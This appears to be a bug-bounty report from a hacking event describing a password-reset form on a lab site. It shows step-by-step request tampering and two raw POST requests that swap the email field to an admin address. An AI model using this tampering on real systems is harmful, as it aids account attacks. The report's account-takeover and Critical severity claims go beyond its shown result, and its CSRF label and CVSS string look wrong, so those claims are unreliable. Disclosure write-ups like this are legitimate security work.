

Insecure Password Reset — Arbitrary Email Change Leading to Account Takeover (admin@tbox.traced)

WOCS'Hack 2025

Submitted by **DirtyBst3rd** on **2025-04-26**

REPORT DETAILS

Bug type	Cross-Site Request Forgery (CSRF) (CWE-352)
CVE ID	
Impact	
Scope	*.3xploit.me
Endpoint	/?page=user/reset_password.php
Severity	Critical
CVSS vector string	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/H/I:H/A:N
Vulnerable part	post-parameter
Part name	email
Payload	admin@tbox.traced
Technical env.	Ubuntu, Firefox, BurpSuite
App. fingerprint	

10 **CRITICAL**

CVSS

BUG DESCRIPTION

DESCRIPTION

The password reset workflow does not validate the ownership of the submitted email address. It only checks for a valid CSRF token without verifying that the token is tied to the user session or the email field content. As a result, attackers can modify the email=xxxx parameter to trigger a password reset for "any account" — including administrative accounts.

This vulnerability is part of the "reset password" workflow of the application.

EXPLOITATION

- 1.Go to the password reset page at:
https://96ee4fe5f43a.3xploit.me/?page=user/reset_password.php
- 2.Enter your own valid email address (e.g., yourname@tbox.traced) into the password reset form.
- 3.Intercept the POST request using a proxy tool, we used BurpSuite.
- 4.Modify the intercepted request:
Keep the csrf_token unchanged.
Change the email field to the target account, for example admin@tbox.traced.
- 5.Forward the modified request.
- 6.The server processes the request and sends a reset email to the targeted user without any ownership verification.

POC

Intercepted Original Request:

POST /?page=user/reset_password.php HTTP/2

Host: 96ee4fe5f43a.3xploit.me

Cookie: PHPSESSID=...

Content-Type: application/x-www-form-urlencoded

(...)

email=yourname%40tbox.traced&csrf_token=8a05664eb272c0a40834cf4f64f9c111276fxxxxxxc1bc76aa3f0c92b5422bf

Modified Request

POST /?page=user/reset_password.php HTTP/2

Host: 96ee4fe5f43a.3xploit.me

Cookie: PHPSESSID=...

Content-Type: application/x-www-form-urlencoded

(...)

email=admin%40tbox.traced&csrf_token=8a05664eb272c0a40834cf4f64f9c111276fxxxxxxc1bc76aa3f0c92b5422bf

Result -> A password reset email is sent to admin@tbox.traced without the attacker owning that account.

RISK

- o Account Takeover (ATO): Any user account, including privileged admin accounts, can be reset and taken over without consent.
- o Privilege Escalation: Attackers could take over administrative accounts and gain elevated permissions.
- o Data Exposure: Attackers can access sensitive user or administrative data by resetting accounts.
- o Loss of Trust: Users may lose trust if accounts are taken over without authorization.

REMEDIATION

- o Bind CSRF tokens to specific user sessions and email addresses to prevent modification attacks.
- o 2FA
- o Log suspicious behavior: Monitor and alert on multiple reset attempts targeting different accounts from the same session.

COMMENTS



DirtyBst3rd on 2025-04-26 17:06:20 Everyone



New



WOCSA on 2025-04-26 17:10:12 Everyone



New



Under Review



WOCSA on 2025-04-26 17:11:04 Everyone



Under Review



RTFS